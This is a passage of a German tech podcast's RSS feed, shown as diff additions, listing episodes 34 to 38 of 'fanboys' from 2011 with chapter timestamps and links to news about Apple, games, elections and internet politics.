5</td></tr><tr><td>00:51:50</td><td><a href="http://www.foxnews.com/scitech/2011/09/19/sorry-netflix-qwikster-twitter-account-owned-by-pot-smoking-elmo/" target="_blank">Netflix und Qwikster</td></tr><tr><td>00:53:03</td><td><a href="http://netzpolitik.org/2011/ilse-aigner-twittert-nicht/" target="_blank">Ilse Aigner auf Twitter</td></tr><tr><td>00:55:48</td><td><a href="http://www.hr-online.de/website/rubriken/nachrichten/indexhessen34938.jsp?rubrik=36082&key=standard_document_42676856" target="_blank">Daniel Mack</td></tr><tr><td>00:59:59</td><td><a href="http://www.wahlrecht.de/news/index.htm" target="_blank">Schnell, schnell, Wahlrecht</td></tr><tr><td>01:07:34</td><td>iTunes Purchase Listen</td></tr><tr><td>01:09:34</td><td>iPhoto konsolidieren</td></tr><tr><td>01:13:04</td><td>App Store only?</td></tr><tr><td>01:15:28</td><td>Drobo und Airport</td></tr><tr><td>01:17:16</td><td>VDSL Modems</td></tr><tr><td>01:19:52</td><td><a href="http://www.youtube.com/watch?v=MBT1OK6VAIU" target="_blank">Pitfall Classic Postmortem With David Crane</td></tr><tr><td>01:22:33</td><td><a href="http://www.youtube.com/watch?v=EbZx_9ulRiE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Marcel" />
+ <sc:chapter start="00:00:12" title="und Martin" />
+ <sc:chapter start="00:00:24" title="Esperanto" href="http://www.esperanto.de/gei/" />
+ <sc:chapter start="00:01:54" title="8 komma 9" />
+ <sc:chapter start="00:08:10" title="Anne Will" href="http://www.youtube.com/watch?v=q-JzD1Mtf5k" />
+ <sc:chapter start="00:25:53" title="Lanz" href="http://www.youtube.com/watch?v=jeoktElBwK8" />
+ <sc:chapter start="00:28:01" title="Wahlpartyberichterstattung" href="http://www.youtube.com/watch?v=u4FFuBPzrQg" />
+ <sc:chapter start="00:37:07" title="Internetkulturtechniken" />
+ <sc:chapter start="00:47:46" title="Debattierclub" href="http://de.wikipedia.org/wiki/Debattierclub" />
+ <sc:chapter start="00:49:07" title="iPhone 5" href="http://www.macrumors.com/2011/09/21/apples-iphone-5-media-event-reportedly-scheduled-for-october-4/" />
+ <sc:chapter start="00:51:50" title="Netflix und Qwikster" href="http://www.foxnews.com/scitech/2011/09/19/sorry-netflix-qwikster-twitter-account-owned-by-pot-smoking-elmo/" />
+ <sc:chapter start="00:53:03" title="Ilse Aigner auf Twitter" href="http://netzpolitik.org/2011/ilse-aigner-twittert-nicht/" />
+ <sc:chapter start="00:55:48" title="Daniel Mack" href="http://www.hr-online.de/website/rubriken/nachrichten/indexhessen34938.jsp?rubrik=36082&amp;key=standard_document_42676856" />
+ <sc:chapter start="00:59:59" title="Schnell, schnell, Wahlrecht" href="http://www.wahlrecht.de/news/index.htm" />
+ <sc:chapter start="01:07:34" title="iTunes Purchase Listen" />
+ <sc:chapter start="01:09:34" title="iPhoto konsolidieren" />
+ <sc:chapter start="01:13:04" title="App Store only?" />
+ <sc:chapter start="01:15:28" title="Drobo und Airport" />
+ <sc:chapter start="01:17:16" title="VDSL Modems" />
+ <sc:chapter start="01:19:52" title="Pitfall Classic Postmortem With David Crane" href="http://www.youtube.com/watch?v=MBT1OK6VAIU" />
+ <sc:chapter start="01:22:33" title="Rausschmeisser" href="http://www.youtube.com/watch?v=EbZx_9ulRiE" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#38:" />
+ </item>
+ <item>
+ <title>Episode #37 - Jetzt neu mit Fiepen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Jetzt neu mit Fiepen</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN037.mp3" length="36276056" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN037</guid>
+ <pubDate>Fri, 16 Sep 2011 23:59:08 +0200</pubDate>
+ <itunes:duration>01:15:26</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:11 Marcel
+00:00:14 und Martin
+00:01:10 Und mit dem Pfeifton
+00:01:43 Abgeordnetenhaus und Bürgerschaft
+00:02:44 Nintendo 3DS jetzt Pink und klobig
+00:07:13 Metal Gear Solid: Snake Eater 3D
+00:09:48 Vita Akkuprobleme
+00:11:03 Machinarium lieblos portiert
+00:14:34 Achron Rant
+00:21:14 Phonestory
+00:34:29 Yes Men
+00:34:58 Windows Metro Browser und Plugins
+00:38:22 Retrospektive statt Angst
+00:44:53 Vorratsdatenspeicherung Petition
+00:55:08 Wahlpartybeobachter
+00:57:45 Facebook Neuigkeiten
+01:02:34 Skype 5.4
+01:04:39 Lutschbonbons und Updatealliances
+01:07:43 Kairosoft iPhonespiele
+01:10:47 Portal umsonst bis zum 20.9
+01:12:11 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td>Mit Dominik</td></tr><tr><td>00:00:11</td><td>Marcel</td></tr><tr><td>00:00:14</td><td>und Martin</td></tr><tr><td>00:01:10</td><td><a href="https://twitter.com/map/status/114788480260898816" target="_blank">Und mit dem Pfeifton</td></tr><tr><td>00:01:43</td><td>Abgeordnetenhaus und Bürgerschaft</td></tr><tr><td>00:02:44</td><td><a href="http://www.tomsguide.com/us/Nintendo-3DS-Slide-Pad-Games-TGS-Pink-3DS,news-12515.html" target="_blank">Nintendo 3DS jetzt Pink und klobig</td></tr><tr><td>00:07:13</td><td><a href="http://kotaku.com/5840886/i-dont-know-whether-metal-gear-solid-snake-eater-3d-is-half+empty-or-half+full/gallery/1" target="_blank">Metal Gear Solid: Snake Eater 3D</td></tr><tr><td>00:09:48</td><td><a href="http://penny-arcade.com/comic/2011/09/16" target="_blank">Vita Akkuprobleme</td></tr><tr><td>00:11:03</td><td><a href="http://daringfireball.net/linked/2011/09/12/brimelow" target="_blank">Machinarium lieblos portiert</td></tr><tr><td>00:14:34</td><td><a href="http://www.achrongame.com/site/" target="_blank">Achron Rant</td></tr><tr><td>00:21:14</td><td><a href="http://phonestory.org/" target="_blank">Phonestory</td></tr><tr><td>00:34:29</td><td><a href="http://www.youtube.com/watch?v=OazUh0Ym8rc" target="_blank">Yes Men</td></tr><tr><td>00:34:58</td><td><a href="https://blogs.msdn.com/b/b8/archive/2011/09/14/metro-style-browsing-and-plug-in-free-html5.aspx" target="_blank">Windows Metro Browser und Plugins</td></tr><tr><td>00:38:22</td><td>Retrospektive statt Angst</td></tr><tr><td>00:44:53</td><td><a href="http://zeichnemit.de/" target="_blank">Vorratsdatenspeicherung Petition</td></tr><tr><td>00:55:08</td><td><a href="http://berlin.piratenpartei.de/2011/09/09/einladung-zur-wahlparty-der-piratenpartei-berlin/" target="_blank">Wahlpartybeobachter</td></tr><tr><td>00:57:45</td><td><a href="http://techcrunch.com/2011/09/14/facebook-launches-twitter-like-subscriptions-lets-you-share-with-unlimited-users/" target="_blank">Facebook Neuigkeiten</td></tr><tr><td>01:02:34</td><td><a href="http://www.skype.com/intl/en/get-skype/on-your-computer/macosx/beta/" target="_blank">Skype 5.4</td></tr><tr><td>01:04:39</td><td>Lutschbonbons und Updatealliances</td></tr><tr><td>01:07:43</td><td><a href="http://kairopark.jp/iphone/en/" target="_blank">Kairosoft iPhonespiele</td></tr><tr><td>01:10:47</td><td><a href="http://store.steampowered.com/app/400/" target="_blank">Portal umsonst bis zum 20.9</td></tr><tr><td>01:12:11</td><td><a href="http://www.youtube.com/watch?v=_BMgegut3UM" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" />
+ <sc:chapter start="00:00:11" title="Marcel" />
+ <sc:chapter start="00:00:14" title="und Martin" />
+ <sc:chapter start="00:01:10" title="Und mit dem Pfeifton" href="https://twitter.com/map/status/114788480260898816" />
+ <sc:chapter start="00:01:43" title="Abgeordnetenhaus und Bürgerschaft" />
+ <sc:chapter start="00:02:44" title="Nintendo 3DS jetzt Pink und klobig" href="http://www.tomsguide.com/us/Nintendo-3DS-Slide-Pad-Games-TGS-Pink-3DS,news-12515.html" />
+ <sc:chapter start="00:07:13" title="Metal Gear Solid: Snake Eater 3D" href="http://kotaku.com/5840886/i-dont-know-whether-metal-gear-solid-snake-eater-3d-is-half+empty-or-half+full/gallery/1" />
+ <sc:chapter start="00:09:48" title="Vita Akkuprobleme" href="http://penny-arcade.com/comic/2011/09/16" />
+ <sc:chapter start="00:11:03" title="Machinarium lieblos portiert" href="http://daringfireball.net/linked/2011/09/12/brimelow" />
+ <sc:chapter start="00:14:34" title="Achron Rant" href="http://www.achrongame.com/site/" />
+ <sc:chapter start="00:21:14" title="Phonestory" href="http://phonestory.org/" />
+ <sc:chapter start="00:34:29" title="Yes Men" href="http://www.youtube.com/watch?v=OazUh0Ym8rc" />
+ <sc:chapter start="00:34:58" title="Windows Metro Browser und Plugins" href="https://blogs.msdn.com/b/b8/archive/2011/09/14/metro-style-browsing-and-plug-in-free-html5.aspx" />
+ <sc:chapter start="00:38:22" title="Retrospektive statt Angst" />
+ <sc:chapter start="00:44:53" title="Vorratsdatenspeicherung Petition" href="http://zeichnemit.de/" />
+ <sc:chapter start="00:55:08" title="Wahlpartybeobachter" href="http://berlin.piratenpartei.de/2011/09/09/einladung-zur-wahlparty-der-piratenpartei-berlin/" />
+ <sc:chapter start="00:57:45" title="Facebook Neuigkeiten" href="http://techcrunch.com/2011/09/14/facebook-launches-twitter-like-subscriptions-lets-you-share-with-unlimited-users/" />
+ <sc:chapter start="01:02:34" title="Skype 5.4" href="http://www.skype.com/intl/en/get-skype/on-your-computer/macosx/beta/" />
+ <sc:chapter start="01:04:39" title="Lutschbonbons und Updatealliances" />
+ <sc:chapter start="01:07:43" title="Kairosoft iPhonespiele" href="http://kairopark.jp/iphone/en/" />
+ <sc:chapter start="01:10:47" title="Portal umsonst bis zum 20.9" href="http://store.steampowered.com/app/400/" />
+ <sc:chapter start="01:12:11" title="Rausschmeisser" href="http://www.youtube.com/watch?v=_BMgegut3UM" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#37:" />
+ </item>
+ <item>
+ <title>Episode #36 - Hirnrindensouveränität</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Hirnrindensouveränität</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN036.mp3" length="38735955" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN036</guid>
+ <pubDate>Fri, 09 Sep 2011 21:17:30 +0200</pubDate>
+ <itunes:duration>01:20:33</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:10 Marcel
+00:00:14 und Martin
+00:01:59 Copy Path
+00:06:40 Mac OS TEN und Xing
+00:09:50 Launchpad, Spotlight und SSDs
+00:11:11 Google^WHTC klagt zurück
+00:13:44 iPad Geschmacksmuster
+00:18:35 Amazon Kindle Android Dings
+00:21:24 Leuchtende Kindles
+00:22:16 Projekt Gutenberg Gründer verstorben
+00:25:24 Nike baut die BTTF Schuhe
+00:28:34 PDF beschneiden und "Sicherheitslücken"
+00:33:16 Freiheit statt Angst
+00:37:25 Die Berliner Piraten und die Wahl
+01:00:29 ZDF Mediathek App
+01:02:55 Game One App
+01:05:01 Unmounten beim Schlafen
+01:07:41 Finanzsoftware
+01:10:22 Webdav automounten
+01:14:00 Photos die nicht aufs iPad syncen
+01:16:55 Wonderputt
+01:20:10 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td>Mit Dominik</td></tr><tr><td>00:00:10</td><td>Marcel</td></tr><tr><td>00:00:14</td><td>und Martin</td></tr><tr><td>00:01:59</td><td>Copy Path</td></tr><tr><td>00:06:40</td><td><a href="http://de.wikipedia.org/wiki/XING" target="_blank">Mac OS TEN und Xing</td></tr><tr><td>00:09:50</td><td>Launchpad, Spotlight und SSDs</td></tr><tr><td>00:11:11</td><td><a href="http://tech.fortune.cnn.com/2011/09/08/google-gets-its-hands-dirty/" target="_blank">Google^WHTC klagt zurück</td></tr><tr><td>00:13:44</td><td><a href="http://latimesblogs.latimes.com/technology/2011/09/german-court-upholds-sales-ban-of-samsung-galaxy-tab-101-in-apple-patent-suit.html" target="_blank">iPad Geschmacksmuster</td></tr><tr><td>00:18:35</td><td><a href="http://techcrunch.com/2011/09/02/amazon-kindle-tablet/" target="_blank">Amazon Kindle Android Dings</td></tr><tr><td>00:21:24</td><td>Leuchtende Kindles</td></tr><tr><td>00:22:16</td><td><a href="http://www.gutenberg.org/" target="_blank">Projekt Gutenberg Gründer verstorben</td></tr><tr><td>00:25:24</td><td><a href="http://nikemag.ebay.com/shoes" target="_blank">Nike baut die BTTF Schuhe</td></tr><tr><td>00:28:34</td><td><a href="http://www.heise.de/mac-and-i/meldung/Apples-Vorschau-transportiert-unbemerkt-Datenfragmente-1337813.html" target="_blank">PDF beschneiden und "Sicherheitslücken"</td></tr><tr><td>00:33:16</td><td><a href="http://blog.freiheitstattangst.de/" target="_blank">Freiheit statt Angst</td></tr><tr><td>00:37:25</td><td><a href="http://www.tagesschau.de/multimedia/bilder/crbilderstrecke278_mtb-1_pos-1.html#colsStructure" target="_blank">Die Berliner Piraten und die Wahl</td></tr><tr><td>01:00:29</td><td><a href="http://itunes.apple.com/de/app/zdfmediathek/id437025413?mt=8" target="_blank">ZDF Mediathek App</td></tr><tr><td>01:02:55</td><td><a href="http://itunes.apple.com/de/app/game-one/id423972555?mt=8" target="_blank">Game One App</td></tr><tr><td>01:05:01</td><td>Unmounten beim Schlafen</td></tr><tr><td>01:07:41</td><td>Finanzsoftware</td></tr><tr><td>01:10:22</td><td>Webdav automounten</td></tr><tr><td>01:14:00</td><td>Photos die nicht aufs iPad syncen</td></tr><tr><td>01:16:55</td><td><a href="http://www.spielen.es/wonderputt" target="_blank">Wonderputt</td></tr><tr><td>01:20:10</td><td><a href="https://www.youtube.com/watch?v=p2ishhFkxPU" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" />
+ <sc:chapter start="00:00:10" title="Marcel" />
+ <sc:chapter start="00:00:14" title="und Martin" />
+ <sc:chapter start="00:01:59" title="Copy Path" />
+ <sc:chapter start="00:06:40" title="Mac OS TEN und Xing" href="http://de.wikipedia.org/wiki/XING" />
+ <sc:chapter start="00:09:50" title="Launchpad, Spotlight und SSDs" />
+ <sc:chapter start="00:11:11" title="Google^WHTC klagt zurück" href="http://tech.fortune.cnn.com/2011/09/08/google-gets-its-hands-dirty/" />
+ <sc:chapter start="00:13:44" title="iPad Geschmacksmuster" href="http://latimesblogs.latimes.com/technology/2011/09/german-court-upholds-sales-ban-of-samsung-galaxy-tab-101-in-apple-patent-suit.html" />
+ <sc:chapter start="00:18:35" title="Amazon Kindle Android Dings" href="http://techcrunch.com/2011/09/02/amazon-kindle-tablet/" />
+ <sc:chapter start="00:21:24" title="Leuchtende Kindles" />
+ <sc:chapter start="00:22:16" title="Projekt Gutenberg Gründer verstorben" href="http://www.gutenberg.org/" />
+ <sc:chapter start="00:25:24" title="Nike baut die BTTF Schuhe" href="http://nikemag.ebay.com/shoes" />
+ <sc:chapter start="00:28:34" title="PDF beschneiden und &amp;quot;Sicherheitslücken&amp;quot;" href="http://www.heise.de/mac-and-i/meldung/Apples-Vorschau-transportiert-unbemerkt-Datenfragmente-1337813.html" />
+ <sc:chapter start="00:33:16" title="Freiheit statt Angst" href="http://blog.freiheitstattangst.de/" />
+ <sc:chapter start="00:37:25" title="Die Berliner Piraten und die Wahl" href="http://www.tagesschau.de/multimedia/bilder/crbilderstrecke278_mtb-1_pos-1.html#colsStructure" />
+ <sc:chapter start="01:00:29" title="ZDF Mediathek App" href="http://itunes.apple.com/de/app/zdfmediathek/id437025413?mt=8" />
+ <sc:chapter start="01:02:55" title="Game One App" href="http://itunes.apple.com/de/app/game-one/id423972555?mt=8" />
+ <sc:chapter start="01:05:01" title="Unmounten beim Schlafen" />
+ <sc:chapter start="01:07:41" title="Finanzsoftware" />
+ <sc:chapter start="01:10:22" title="Webdav automounten" />
+ <sc:chapter start="01:14:00" title="Photos die nicht aufs iPad syncen" />
+ <sc:chapter start="01:16:55" title="Wonderputt" href="http://www.spielen.es/wonderputt" />
+ <sc:chapter start="01:20:10" title="Rausschmeisser" href="https://www.youtube.com/watch?v=p2ishhFkxPU" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#36:" />
+ </item>
+ <item>
+ <title>Episode #35 - Neverending Leberkäse</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Neverending Leberkäse</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN035.mp3" length="38697085" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN035</guid>
+ <pubDate>Sat, 03 Sep 2011 01:28:13 +0200</pubDate>
+ <itunes:duration>01:20:28</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Marcel
+00:00:15 Und Martin
+00:01:08 Textsystem Keyboard Shortcuts
+00:02:00 Deus Ex
+00:02:46 Verlorene Prototypen
+00:04:22 iPhone 5 wird hässlich, sagt Marcel
+00:08:09 Final Cut Studio wieder zu kaufen
+00:09:52 iTunes Match Beta
+00:11:12 Eddy Cue
+00:12:11 TV Ausliehe gibbet nicht mehr
+00:14:10 BBC iPlayer
+00:15:45 Leberkäse
+00:26:25 Volksfront von Quickfreeza
+00:27:22 Petition
+00:32:39 DigiNotar Gate
+00:39:32 Mehr Touchpads!?
+00:41:50 Wir sind 3DS Botschafter
+00:54:08 Automatisch unmounten
+00:57:17 Defragmentieren?
+01:00:32 Katzenjammer
+01:01:43 Windows 8 Explorer
+01:10:02 Sendelizenz
+01:13:35 Contre Jour
+01:17:37 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td>Mit Dominik</td></tr><tr><td>00:00:12</td><td>Marcel</td></tr><tr><td>00:00:15</td><td>Und Martin</td></tr><tr><td>00:01:08</td><td><a href="http://support.apple.com/kb/HT1343?viewlocale=de_DE" target="_blank">Textsystem Keyboard Shortcuts</td></tr><tr><td>00:02:00</td><td><a href="http://en.wikipedia.org/wiki/Deus_Ex" target="_blank">Deus Ex</td></tr><tr><td>00:02:46</td><td><a href="http://www.appleinsider.com/articles/11/09/02/sfpd_has_no_record_of_lost_iphone_prototype_man_claims_impostors_searched_home.html" target="_blank">Verlorene Prototypen</td></tr><tr><td>00:04:22</td><td>iPhone 5 wird hässlich, sagt Marcel</td></tr><tr><td>00:08:09</td><td><a href="http://www.apple.com/support/finalcutstudio/" target="_blank">Final Cut Studio wieder zu kaufen</td></tr><tr><td>00:09:52</td><td><a href="http://mashable.com/2011/08/29/itunes-match/" target="_blank">iTunes Match Beta</td></tr><tr><td>00:11:12</td><td><a href="http://www.apple.com/pr/bios/" target="_blank">Eddy Cue</td></tr><tr><td>00:12:11</td><td><a href="http://www.huffingtonpost.com/2011/08/26/apple-tv-episode-rental_n_938523.html" target="_blank">TV Ausliehe gibbet nicht mehr</td></tr><tr><td>00:14:10</td><td><a href="http://itunes.apple.com/ie/app/bbc-iplayer-global/id449130604?mt=8" target="_blank">BBC iPlayer</td></tr><tr><td>00:15:45</td><td><a href="http://www.reuters.com/article/2011/09/02/us-wikileaks-cables-assange-idUSTRE7816SM20110902?feedType=RSS&feedName=topNews&rpc=71" target="_blank">Leberkäse</td></tr><tr><td>00:26:25</td><td><a href="http://blog.odem.org/2011/08/fefe-ein-toller-hecht.html" target="_blank">Volksfront von Quickfreeza</td></tr><tr><td>00:27:22</td><td><a href="https://epetitionen.bundestag.de/index.php?action=petition%3Bsa%3Ddetails%3Bpetition%3D17143" target="_blank">Petition</td></tr><tr><td>00:32:39</td><td><a href="http://www.theinquirer.net/inquirer/news/2106065/major-domains-targeted-diginotar-ssl-attack" target="_blank">DigiNotar Gate</td></tr><tr><td>00:39:32</td><td><a href="http://www.pcmag.com/slideshow/story/287270/the-week-in-tweets-life-after-death-for-the-hp-touchpad" target="_blank">Mehr Touchpads!?</td></tr><tr><td>00:41:50</td><td><a href="http://www.nydailynews.com/tech_guide/2011/09/01/2011-09-01_system_update_nintendo_3ds_ambassador_program_launches_today.html" target="_blank">Wir sind 3DS Botschafter</td></tr><tr><td>00:54:08</td><td><a href="http://controlplane.dustinrue.com/" target="_blank">Automatisch unmounten</td></tr><tr><td>00:57:17</td><td>Defragmentieren?</td></tr><tr><td>01:00:32</td><td><a href="http://en.wikipedia.org/wiki/Katzenjammer_(band)" target="_blank">Katzenjammer</td></tr><tr><td>01:01:43</td><td><a href="http://blogs.msdn.com/b/b8/archive/2011/08/29/improvements-in-windows-explorer.aspx" target="_blank">Windows 8 Explorer</td></tr><tr><td>01:10:02</td><td><a href="http://blog.zdf.de/hyperland/2011/08/goodbye-sendelizenz/" target="_blank">Sendelizenz</td></tr><tr><td>01:13:35</td><td><a href="http://itunes.apple.com/us/app/contre-jour/id440693481?mt=8" target="_blank">Contre Jour</td></tr><tr><td>01:17:37</td><td><a href="https://8bc.org/music/Jansaw/The+8Bit+Neverending+Story/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" />
+ <sc:chapter start="00:00:12" title="Marcel" />
+ <sc:chapter start="00:00:15" title="Und Martin" />
+ <sc:chapter start="00:01:08" title="Textsystem Keyboard Shortcuts" href="http://support.apple.com/kb/HT1343?viewlocale=de_DE" />
+ <sc:chapter start="00:02:00" title="Deus Ex" href="http://en.wikipedia.org/wiki/Deus_Ex" />
+ <sc:chapter start="00:02:46" title="Verlorene Prototypen" href="http://www.appleinsider.com/articles/11/09/02/sfpd_has_no_record_of_lost_iphone_prototype_man_claims_impostors_searched_home.html" />
+ <sc:chapter start="00:04:22" title="iPhone 5 wird hässlich, sagt Marcel" />
+ <sc:chapter start="00:08:09" title="Final Cut Studio wieder zu kaufen" href="http://www.apple.com/support/finalcutstudio/" />
+ <sc:chapter start="00:09:52" title="iTunes Match Beta" href="http://mashable.com/2011/08/29/itunes-match/" />
+ <sc:chapter start="00:11:12" title="Eddy Cue" href="http://www.apple.com/pr/bios/" />
+ <sc:chapter start="00:12:11" title="TV Ausliehe gibbet nicht mehr" href="http://www.huffingtonpost.com/2011/08/26/apple-tv-episode-rental_n_938523.html" />
+ <sc:chapter start="00:14:10" title="BBC iPlayer" href="http://itunes.apple.com/ie/app/bbc-iplayer-global/id449130604?mt=8" />
+ <sc:chapter start="00:15:45" title="Leberkäse" href="http://www.reuters.com/article/2011/09/02/us-wikileaks-cables-assange-idUSTRE7816SM20110902?feedType=RSS&amp;feedName=topNews&amp;rpc=71" />
+ <sc:chapter start="00:26:25" title="Volksfront von Quickfreeza" href="http://blog.odem.org/2011/08/fefe-ein-toller-hecht.html" />
+ <sc:chapter start="00:27:22" title="Petition" href="https://epetitionen.bundestag.de/index.php?action=petition%3Bsa%3Ddetails%3Bpetition%3D17143" />
+ <sc:chapter start="00:32:39" title="DigiNotar Gate" href="http://www.theinquirer.net/inquirer/news/2106065/major-domains-targeted-diginotar-ssl-attack" />
+ <sc:chapter start="00:39:32" title="Mehr Touchpads!?" href="http://www.pcmag.com/slideshow/story/287270/the-week-in-tweets-life-after-death-for-the-hp-touchpad" />
+ <sc:chapter start="00:41:50" title="Wir sind 3DS Botschafter" href="http://www.nydailynews.com/tech_guide/2011/09/01/2011-09-01_system_update_nintendo_3ds_ambassador_program_launches_today.html" />
+ <sc:chapter start="00:54:08" title="Automatisch unmounten" href="http://controlplane.dustinrue.com/" />
+ <sc:chapter start="00:57:17" title="Defragmentieren?" />
+ <sc:chapter start="01:00:32" title="Katzenjammer" href="http://en.wikipedia.org/wiki/Katzenjammer_(band)" />
+ <sc:chapter start="01:01:43" title="Windows 8 Explorer" href="http://blogs.msdn.com/b/b8/archive/2011/08/29/improvements-in-windows-explorer.aspx" />
+ <sc:chapter start="01:10:02" title="Sendelizenz" href="http://blog.zdf.de/hyperland/2011/08/goodbye-sendelizenz/" />
+ <sc:chapter start="01:13:35" title="Contre Jour" href="http://itunes.apple.com/us/app/contre-jour/id440693481?mt=8" />
+ <sc:chapter start="01:17:37" title="Rausschmeisser" href="https://8bc.org/music/Jansaw/The+8Bit+Neverending+Story/" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#35:" />
+ </item>
+ <item>
+ <title>Episode #34 - Geistlich verwirrt</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Geistlich verwirrt</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN034.mp3" length="42590375" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN034</guid>
+ <pubDate>Fri, 26 Aug 2011 21:27:26 +0200</pubDate>
+ <itunes:duration>01:28:35</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:13 und Martin
+00:02:00 Alte Männer
+00:02:43 HP Touchpad Abschied
+00:09:22 Steve Jobs Abschied
+00:14:14 Verpincher vermisst
+00:17:02 Webkit Geburtstag
+00:17:58 Linux Geburtstag
+00:20:21 cmdrtaco Abschied
+00:22:27 Jailbreakme Autor jetzt Intern bei Apple
+00:24:22 Neues aus dem Leberkäseimperium
+00:29:31 23andme
+00:43:53 Yank den Killbuffer!
+00:47:39 candyjapan.com
+00:52:39 codecademy.com
+00:55:29 PC-Notruf
+01:00:14 Photoshop Alternativen
+01:06:40 Flapcraft
+01:09:45 Kurbelradios
+01:16:38 Martin bei Trackback
+01:17:56 Deus Ex: Human Revolution
+01:27:37 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td>Mit Dominik</td></tr><tr><td>00:00:11</td><td>Marcel</td></tr><tr><td>00:00:13</td><td>und Martin</td></tr><tr><td>00:02:00</td><td>Alte Männer</td></tr><tr><td>00:02:43</td><td><a href="http://www.wired.com/gadgetlab/2011/08/hp-webos-tablet-touchpad/" target="_blank">HP Touchpad Abschied</td></tr><tr><td>00:09:22</td><td><a href="http://www.apple.com/pr/library/2011/08/24Letter-from-Steve-Jobs.html" target="_blank">Steve Jobs Abschied</td></tr><tr><td>00:14:14</td><td><a href="http://www.apple.com/pr/bios/" target="_blank">Verpincher vermisst</td></tr><tr><td>00:17:02</td><td><a href="http://www.webkit.org/" target="_blank">Webkit Geburtstag</td></tr><tr><td>00:17:58</td><td><a href="http://groups.google.com/group/comp.os.minix/msg/b813d52cbc5a044b?dmode=source" target="_blank">Linux Geburtstag</td></tr><tr><td>00:20:21</td><td><a href="http://www.wired.com/underwire/2011/08/slashdot-founder-resigns/" target="_blank">cmdrtaco Abschied</td></tr><tr><td>00:22:27</td><td><a href="http://www.macrumors.com/2011/08/25/comex-the-hacker-behind-jailbreakme-com-hired-as-apple-intern/" target="_blank">Jailbreakme Autor jetzt Intern bei Apple</td></tr><tr><td>00:24:22</td><td>Neues aus dem Leberkäseimperium</td></tr><tr><td>00:29:31</td><td><a href="https://www.23andme.com/" target="_blank">23andme</td></tr><tr><td>00:43:53</td><td>Yank den Killbuffer!</td></tr><tr><td>00:47:39</td><td><a href="http://candyjapan.com/" target="_blank">candyjapan.com</td></tr><tr><td>00:52:39</td><td><a href="http://www.codecademy.com/#!/exercise/0" target="_blank">codecademy.com</td></tr><tr><td>00:55:29</td><td>PC-Notruf</td></tr><tr><td>01:00:14</td><td>Photoshop Alternativen</td></tr><tr><td>01:06:40</td><td><a href="http://itunes.apple.com/us/app/flapcraft/id455990152?mt=8" target="_blank">Flapcraft</td></tr><tr><td>01:09:45</td><td>Kurbelradios</td></tr><tr><td>01:16:38</td><td><a href="http://trackback.fritz.de/2011/08/23/trb-243-ccc-streit-like-button-gamescom-fanboy-comiconkel/" target="_blank">Martin bei Trackback</td></tr><tr><td>01:17:56</td><td><a href="http://en.wikipedia.org/wiki/Deus_Ex:_Human_Revolution" target="_blank">Deus Ex: Human Revolution</td></tr><tr><td>01:27:37</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" />
+ <sc:chapter start="00:00:11" title="Marcel" />
+ <sc:chapter start="00:00:13" title="und Martin" />
+ <sc:chapter start="00:02:00" title="Alte Männer" />
+ <sc:chapter start="00:02:43" title="HP Touchpad Abschied" href="http://www.wired.com/gadgetlab/2011/08/hp-webos-tablet-touchpad/" />
+ <sc:chapter start="00:09:22" title="Steve Jobs Abschied" href="http://www.apple.com/pr/library/2011/08/24Letter-from-Steve-Jobs.html" />
